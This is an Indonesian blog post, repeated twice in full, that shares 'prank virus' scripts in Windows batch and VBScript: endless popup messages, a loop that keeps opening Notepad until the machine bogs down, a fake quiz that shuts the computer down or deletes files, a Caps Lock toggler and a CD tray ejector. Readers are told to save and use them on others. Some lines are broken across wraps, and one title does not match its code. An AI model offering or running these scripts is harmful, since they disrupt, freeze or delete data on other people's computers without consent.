Sore sobat blogger, kali ini admin mau share beberapa script virus, lho ko virus ??? tenang ini virus yang tidak berbahaya dan hanya digunakan untuk jahil atau iseng :D. Penasaran ya ? langsung aja deh, ini scriptnya.
1. Virus dengan sasaran buat orang jengkel karena muncul terus, sebenarnya bukan virus tapi hanya program yang sok-sok jadi virus :)
@ECHO off
:
Begin
msg * Haloo ?
msg * Lagi apa nih ?
msg * Weww ketahuan nih..
msg * Hayooo ngaku..
msg * Ye ye ketauan yeye ketahuan
msg * Aku matiin saja gimana
msg * Mau............................
GOTO BEGIN
simpan dengan berekstensi .bat contoh Usil.bat
2. Membuat Virus Wants to Be A Milionaire
@echo off
title quiz wants to be a millionaire
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. Matikan Komputer
echo 2. Format Komputer
echo 3. Yahhhh...
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * Kurang Beruntung nih
msg * Kurang Iman kali :D
msg * Aduh ini gimana kok tambah parah
msg * Masukin ke UGD aja ya
msg * Telpon 311 saja ya
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Simpan dengan .bat contoh contoh = Kuis Wants to be a millionaire.bat
3. Membuka notepad terus-menerus
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Simpan dengan ektensi.bat
4. Shutdown sendiri dan kirim pesan otomatis
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan .vbs
5. CD Room terbuka dan tertutup terus
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loopSimpan dengan .vbs
Note : Copy sebagian atau seluruh script diatas dan simpan di notepad dengan ekstensi .vbs
Anda bisa merubah huruf yang berwarna merah sesuai kata - kata keinginan anda.
Selamat bersenang - senang dan jangan lupa tinggalkan jejak anda :D
1. Virus dengan sasaran buat orang jengkel karena muncul terus, sebenarnya bukan virus tapi hanya program yang sok-sok jadi virus :)
@ECHO off
:
Begin
msg * Haloo ?
msg * Lagi apa nih ?
msg * Weww ketahuan nih..
msg * Hayooo ngaku..
msg * Ye ye ketauan yeye ketahuan
msg * Aku matiin saja gimana
msg * Mau............................
GOTO BEGIN
simpan dengan berekstensi .bat contoh Usil.bat
2. Membuat Virus Wants to Be A Milionaire
@echo off
title quiz wants to be a millionaire
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. Matikan Komputer
echo 2. Format Komputer
echo 3. Yahhhh...
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * Kurang Beruntung nih
msg * Kurang Iman kali :D
msg * Aduh ini gimana kok tambah parah
msg * Masukin ke UGD aja ya
msg * Telpon 311 saja ya
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Simpan dengan .bat contoh contoh = Kuis Wants to be a millionaire.bat
3. Membuka notepad terus-menerus
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
Simpan dengan ektensi.bat
4. Shutdown sendiri dan kirim pesan otomatis
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan .vbs
5. CD Room terbuka dan tertutup terus
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loopSimpan dengan .vbs
Note : Copy sebagian atau seluruh script diatas dan simpan di notepad dengan ekstensi .vbs
Anda bisa merubah huruf yang berwarna merah sesuai kata - kata keinginan anda.
Selamat bersenang - senang dan jangan lupa tinggalkan jejak anda :D